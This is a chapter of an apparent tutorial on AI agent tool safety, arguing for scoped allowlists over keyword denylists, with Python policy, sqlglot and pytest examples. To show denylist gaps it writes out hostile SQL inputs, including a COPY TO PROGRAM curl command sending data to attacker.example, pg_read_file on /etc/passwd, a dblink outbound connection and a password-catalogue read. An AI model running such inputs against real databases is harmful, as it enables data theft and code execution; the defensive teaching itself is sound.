Skip to content
Chapter 2 of 6 · Tool execution safetyScoping a tool allowlist

17 min read

Scoping a tool allowlist

On this page

An allowlist for tool execution is the enumeration of what an agent may do, with everything absent from it refused; a denylist is the enumeration of what it may not, with everything absent permitted. Choosing between them is only half the decision. The other half is what each entry actually names, because an entry that names an operation and stops there has said what the agent may do and nothing about what it may do it to.

A scope has four parts: the operation, the resource the operation acts on, the tenant — the customer account on whose behalf a run is executing, which in a system serving many customers from a single deployment is the boundary that must never be crossed — and the caller context, meaning what kind of session this is and who started it.

Why the denylist is the wrong shape before it is the wrong contents

Before the resource question there is a cruder one, and a great many agent deployments are still on the wrong side of it. A common first pass at making run_query safe against an analytics warehouse is a list of forbidden keywords, checked against the query string with a regular expression:

python
FORBIDDEN = ["DROP", "DELETE", "UPDATE", "INSERT", "TRUNCATE", "ALTER", "GRANT"]

def is_safe(sql: str) -> bool:
    upper = sql.upper()
    return not any(word in upper for word in FORBIDDEN)

Everything on that list is genuinely dangerous, and the list is still wrong, because its correctness depends on the author having enumerated every dangerous capability the system will ever expose. On PostgreSQL alone the check passes COPY events TO PROGRAM 'curl -d @- https://attacker.example', which is remote code execution as the database's operating-system user. It passes SELECT * FROM pg_read_file('/etc/passwd'). It passes CREATE TABLE exfil AS SELECT * FROM customers, which writes without using any forbidden word. It passes SELECT * FROM dblink('host=attacker.example …', 'SELECT 1'), which opens an outbound connection. It passes SELECT rolname, rolpassword FROM pg_authid. And because the check is textual rather than structural, DEL/**/ETE FROM orders and SELECT 'DEL' || 'ETE' sail through on a parser that understands comments and concatenation while the regex does not. The Trail of Bits write-up Prompt injection to RCE in AI agents walks a chain of exactly this kind from an injected instruction to code execution, and the recurring feature of every step is a filter that anticipated the previous attack.

Those bypasses are worth sorting rather than counting, because they defeat the filter for three different reasons and lengthening the list addresses only one of them. Two of them leave SQL altogether — one runs a shell command, one reads a file off the disk — so the dangerous act is never performed by a verb a list of verbs could contain. Three of them stay inside SQL and use only words the list permits: creating a table from a select is a write with no forbidden word in it, a federated-query function is an outbound connection, and reading the role catalogue is a read of password material. The remaining two are a forbidden word arriving in a shape the check cannot see, because a regular expression matches characters while the database matches a parse tree, and a comment or a string concatenation is enough to separate the two views. Adding COPY to the list shrinks the first class by one entry and leaves the second and third exactly as they were. That is the diagnosis behind the recommendation, and it is sharper than "the list has gaps": the list is aimed at tokens, and the thing that varies is the capability.

There is also a whole category the keyword list was never trying to cover. SELECT is not on it, which means a denylist tuned entirely against destruction permits an agent to read every row of every table it can reach and emit it into a summary that goes to whoever asked. For an analytics warehouse holding the union of all customers' event data, unrestricted read is the more likely incident.

The argument for replacing the denylist is not that this particular list has gaps that a better list would close. It is that deny-by-default is the only arrangement in which a capability nobody anticipated is unavailable. A denylist has to be complete to be correct, and completeness is a claim about an open set that grows every time the vendor ships a feature, the DBA installs an extension, or someone adds a column. An allowlist has to be complete to be useful, and if it is incomplete the symptom is a legitimate query getting refused, which arrives as a bug report from your own team rather than as an incident. The two failure modes are not comparable in cost, and choosing between them is the whole decision.

The three arrangements are worth setting against each other along the dimensions that decide an incident, including the one a verb allowlist cannot express at all.

Keyword denylistVerb allowlistScoped allowlist
New capability ships in the dependencyPermitted until someone noticesRefused if it is a new verbRefused
Failure when the rule is incompleteSilent over-permissionLegitimate call refusedLegitimate call refused
Agent targets another tenant's resourcePermittedPermittedRefused
What a reviewer reads to know the blast radiusAn open-ended prohibitionA list of operationsOperations bound to resources
Maintenance triggerEvery new attack techniqueEvery new toolEvery new tool or resource class
Enforcement inputThe argument stringThe tool nameTool name, arguments, session context

Read that table across the rows rather than down the columns and it says something the columns on their own do not. Almost every row changes verdict at the first step, from the denylist to the verb allowlist: an unanticipated capability goes from permitted to refused, an incomplete rule goes from silently over-permitting to refusing a legitimate call, and the enforcement input goes from a string to a name. One row does not move at all. An agent aimed at another tenant's resource is permitted by the denylist and permitted by the verb allowlist, and the only cell in that row that reads refused sits in the third column. So the migration the industry has spent years on buys every property except one, and the one it does not buy is the property that decides whether an incident is a bug report or a disclosure. The rightmost column is where that single cell flips, and the reason is legible in the bottom row: the first two schemes are given the tool name and the argument string, and neither of those carries any information about who the run belongs to. A check cannot separate two cases on evidence it was never handed.

The rightmost column is the one that stops a cross-tenant post, and it is the column most teams skip past, because the migration from denylist to allowlist feels like the hard part and shipping a list of permitted tool names feels like arriving. An entry reading slack.chat.postMessage is a verb. It says the agent may put text into Slack, and it is silent on the only question that decides an incident, which is whose Slack.

A scope is a sentence with four parts

A usable scope names the operation, the resource the operation acts on, the tenant that resource belongs to, and the caller context under which the request is being made. Dropping any one of the four produces a policy that reads as if it says something and does not. "May post to Slack" omits the resource. "May post to channel C04TQ7ZM1" omits the tenant, which matters the moment the same agent code serves more than one customer. "May post to any channel belonging to the tenant" omits the caller context, which is what tells you whether this run was started by a scheduled job, by a support engineer with an impersonation grant, or by an end user typing into a chat box, and those three should not have the same reach.

The load-bearing detail in the implementation is where each part comes from. The operation and the resource come from the tool call, which means they are attacker-influenceable, since the model wrote them. The tenant and the caller context must come from the session, established when the run was created, and must never be readable from a tool argument. A great many cross-tenant bugs reduce to a tenant_id parameter that the model was allowed to fill in.

It is worth following that reduction all the way down, because the resulting check looks like it is working. Suppose the tenant on the session is taken from a tool argument. The authorisation step then resolves the resource, obtains the tenant that owns it, and compares it against a tenant the same caller supplied in the same call. An attacker who can influence the channel identifier can influence the tenant identifier beside it, so the comparison is between two values from one source, and a source can always agree with itself. The check passes for the legitimate call and passes for the cross-tenant call, which makes it the same failure the docstring had in chapter 1, on dry runs and pinned proposals: its verdict is constant across the two cases it exists to separate. The session is the only place a tenant can come from and be evidence, because it was written by the code that authenticated a human before any model output existed.

python
from dataclasses import dataclass

@dataclass(frozen=True)
class Session:
    tenant_id: str          # from the run record, never from tool arguments
    actor: str              # "job:usage-summary" | "user:alice@acme.com"
    surface: str            # "scheduled" | "support_console" | "end_user_chat"

POLICY = [
    {
        "op": "slack.chat.postMessage",
        "resource": "slack:channel/{channel_id}",
        "where": "channel.workspace_id == session.tenant.slack_workspace_id",
        "surfaces": ["scheduled", "end_user_chat"],
    },
    {
        "op": "warehouse.run_query",
        "resource": "table/{table}",
        "tables": ["fct_usage_daily", "dim_account", "dim_product"],
        "row_filter": "account_id = :session_tenant",
        "surfaces": ["scheduled", "support_console"],
    },
]

def authorize(session: Session, op: str, args: dict) -> None:
    rule = next((r for r in POLICY if r["op"] == op), None)
    if rule is None:
        raise Denied(f"{op} not in scope")                    # deny by default
    if session.surface not in rule["surfaces"]:
        raise Denied(f"{op} not permitted from {session.surface}")
    resource = resolve_resource(op, args)                      # look it up for real
    if resource.tenant_id != session.tenant_id:
        raise Denied(f"{resource.id} belongs to {resource.tenant_id}")

resolve_resource is the part that cannot be skipped and is skipped most often. Checking that the channel argument matches a regular expression for channel identifiers, or that it appears in a list cached at process start, is not the same as asking Slack which workspace C04TQ7ZM1 is in and comparing that to the workspace on the session record. The authorisation question is about the resource's actual owner, so the lookup has to hit something authoritative.

One consequence of that is a diagnostic you can run on a policy decision without reading its implementation. Asking a remote service which workspace a channel is in costs a network round trip, and the number below is about ninety milliseconds. A policy engine that returns allow in under a millisecond has therefore not asked anybody anything; it has matched a pattern in memory. The two figures are independent — one is a latency measured against the Slack API, the other a latency recorded in an audit row — and they meet at the same conclusion, which is that a sub-millisecond authorisation decision on a resource owned by a remote system is structurally incapable of having checked ownership. That is a useful thing to notice in an incident review, because a clean allow with a fast decision time reads as evidence the control worked, and it is evidence the control was never consulted about the question that mattered.

That lookup costs something, and the cost is where the design usually gets compromised. A conversations.info round trip on every send adds about 90ms to a tool call that otherwise takes 140ms, and on a scheduled job posting to two hundred channels an hour it is noise, while on an interactive agent making six tool calls per turn it is half a second of added latency the user feels. Caching the resource-to-tenant mapping is reasonable and needs a deliberately short time to live, because ownership is exactly the attribute that changes: a channel gets converted to a Slack Connect channel shared with an external organisation, an account is merged into a parent, a project moves between workspaces. A five-minute TTL keyed on the resource identifier, with the cache invalidated by whatever event stream already tells you about account changes, keeps the common case fast without letting a stale ownership record authorise a post for an hour.

The two workloads in that paragraph land in different places for a reason worth doing on paper, since it is the calculation that tells you whether the cache is a necessity or an optimisation. Two hundred sends an hour, each carrying an extra ninety milliseconds, is eighteen seconds of added work spread across an hour of wall clock — under a hundredth of the interval, and nobody is waiting on any of it, because a scheduled job has no reader watching a cursor. Six lookups in one conversational turn is a bit over half a second, arriving all at once, in front of a person who is watching the response appear. The same per-call cost lands as noise in one case and as the dominant term in the other, and what separates them is not the call rate but whether the additions accumulate inside one wait. That is the general form: a per-call latency is judged against the interval a human perceives, not against the interval it is spread over.

The caller-context term does work that is easy to underestimate, because it is the only part of the scope that distinguishes runs which are otherwise identical. The same crm.update_account operation on the same resource in the same tenant should be permitted when a support engineer triggered it from the support console with an impersonation grant — a time-boxed permission to act as the customer, tied to a ticket number, and refused when the run originated from an end user's chat session, since the end user is precisely the party with a motive to downgrade their own account tier or edit their own contract terms. Expressing that as a surfaces list on each rule is crude and sufficient for most systems; the alternative of one policy per surface duplicates rules and drifts. What matters is that the surface is recorded on the run at creation time by the code that authenticated the caller, so that no amount of instruction inside the conversation can make an end-user chat claim to be the support console.

Scoping a query tool without hand-rolling a parser

warehouse.run_query deserves its own treatment because SQL is the case where a verb allowlist is least sufficient and string matching is most tempting. The workable design has three layers, and each layer catches what the layer above it cannot.

The first layer parses the statement rather than scanning it, so the check operates on structure. A parser tells you the statement is a SELECT, which tables it reads, whether it contains a common table expression — a WITH clause, which in PostgreSQL may itself perform a write — whether it calls a function, and whether there is a second statement hiding after a semicolon. A regular expression tells you none of that.

python
import sqlglot
from sqlglot import exp

ALLOWED_TABLES = {"fct_usage_daily", "dim_account", "dim_product"}

def compile_query(sql: str, tenant_id: str) -> str:
    statements = sqlglot.parse(sql, read="postgres")
    if len(statements) != 1:
        raise Denied("exactly one statement permitted")
    tree = statements[0]
    if not isinstance(tree, exp.Select):
        raise Denied(f"{type(tree).__name__} is not a permitted statement type")
    for table in tree.find_all(exp.Table):
        if table.name not in ALLOWED_TABLES:
            raise Denied(f"table {table.name} not in scope")
    for func in tree.find_all(exp.Anonymous):
        raise Denied(f"function {func.this} not in scope")
    # Bind the tenant on the server side; the model never supplies it.
    return tree.where(f"account_id = '{tenant_id}'", append=True).sql(dialect="postgres")

The second layer is the database's own permissions, because the parser is software and will one day be wrong about a dialect corner. The connection uses a role with SELECT on three views and nothing else, no pg_read_file, no COPY, no extensions installed in its search path, and default_transaction_read_only = on. If the parse check is bypassed, the role refuses the write anyway. The third layer is row-level security, a database feature that attaches a filtering predicate to the table itself so every query against it is silently restricted, on the underlying tables and keyed to a session variable the connection sets from the run record, so that even a query the parser approved and the role permitted returns zero rows for another tenant's data. OWASP's AI Agent Security Cheat Sheet frames this stack as the baseline rather than as hardening, and the layering is the point: no single check is trusted to be complete.

The last line of compile_query builds SQL by pasting a value into a string, which is the shape every engineer is trained to distrust, and it is safe here for exactly one reason. tenant_id is the parameter the section above insisted must come from the run record. Remove that condition — let the tenant arrive as a tool argument, which is the change somebody makes the week an agent needs to read a parent account — and the same line stops being an authorisation hole only and becomes an injection point as well, since the model now writes a fragment of the query's WHERE clause. The safety of that line is a fact about where its input came from rather than about what it does, which is the reason the four-part scope insists on the provenance of each part and not only on its presence.

The layers are worth checking for independence, because stacking three checks only buys three chances if a single mistake cannot take out all of them. Against a parser that is wrong about a dialect corner, the database role still refuses the write and row-level security still filters the rows. Against a role that somebody widened during an unrelated migration, the parser still refuses the statement type. Against a row-level policy that was never enabled on a new table, the parser still refuses the table name, because the table is not in ALLOWED_TABLES. Three different mistakes, each caught by a layer that did not make it. Then look for the input they share. The parser's tenant predicate and the row-level policy's session variable are both derived from the same field on the run record, so a run created with the wrong tenant is compiled correctly, permitted correctly, filtered correctly, and returns another customer's rows with every layer functioning. The stack is deep against implementation error and flat against a mis-attributed session, which is why the four-part scope treats the origin of the tenant as the load-bearing detail rather than the comparison that uses it.

Testing it from the wrong tenant

A scope that has never been exercised from the wrong side is an assertion, not a control, and the tests that pass in most repositories only demonstrate that permitted calls are permitted. The test that finds a missing tenant term runs every tool in the catalogue with a session belonging to tenant A and arguments naming resources belonging to tenant B, and asserts that each one is denied.

python
import pytest

CROSS_TENANT_CASES = [
    ("slack.chat.postMessage", {"channel": "C04TQ7ZM1", "text": "x"}),
    ("warehouse.run_query",    {"sql": "SELECT * FROM fct_usage_daily"}),
    ("crm.update_account",     {"account_id": "acct_globex", "tier": "free"}),
]

@pytest.mark.parametrize("op,args", CROSS_TENANT_CASES)
def test_denied_across_tenants(op, args):
    session = Session(tenant_id="tnt_northwind", actor="job:usage-summary",
                      surface="scheduled")
    with pytest.raises(Denied):
        authorize(session, op, args)   # every resource above belongs to tnt_globex

Two properties of this suite matter more than its contents. It should be parameterised over the tool registry rather than over a hand-written list, so that adding a tool without a scope rule fails the build instead of shipping with an implicit allow. And the run_query case should assert on the compiled SQL, checking that the tenant predicate is present, rather than only that no exception was raised, because the row filter is the part that silently disappears when someone refactors compile_query and forgets the append=True.

Correctness, magnitude and duration

An allowlist answers whether a call is permitted. It does not answer whether the call is correct, which is why the confirmation flow from chapter 1, on dry runs and pinned proposals, does not become redundant once scoping is in place: bulk_update_prices restricted to this tenant's own catalogue can still take a €240 jacket to €26.40. The two controls fail independently and that is what makes running both worth the cost.

Scope also says nothing about magnitude or duration. A perfectly scoped run_query bound to three tables and one tenant can still be a cross join that reads 400GB and holds a warehouse slot for eleven minutes, and a perfectly scoped send_message can be issued four thousand times. Those are properties of a permitted call, and no enumeration of permitted calls bounds them.

An allowlist entry is a sentence, then, and a sentence with only a verb in it is not one. Of the four parts, the first two are written by the model and have to be treated as such, the second two are facts about the run recorded by the code that authenticated the caller, and the resource's owner is looked up rather than pattern-matched. Deny-by-default buys the property that an unanticipated capability is unavailable; the four parts buy the property that an anticipated one cannot be pointed at somebody else's data.

Bounding what a permitted call is allowed to consume is a separate mechanism, and the first and most misunderstood part of it is the timeout.

Tool execution safety — read the current version at https://daviddominguez.dev/learn/en/tool-execution-safety/scoping-a-tool-allowlist

Back to top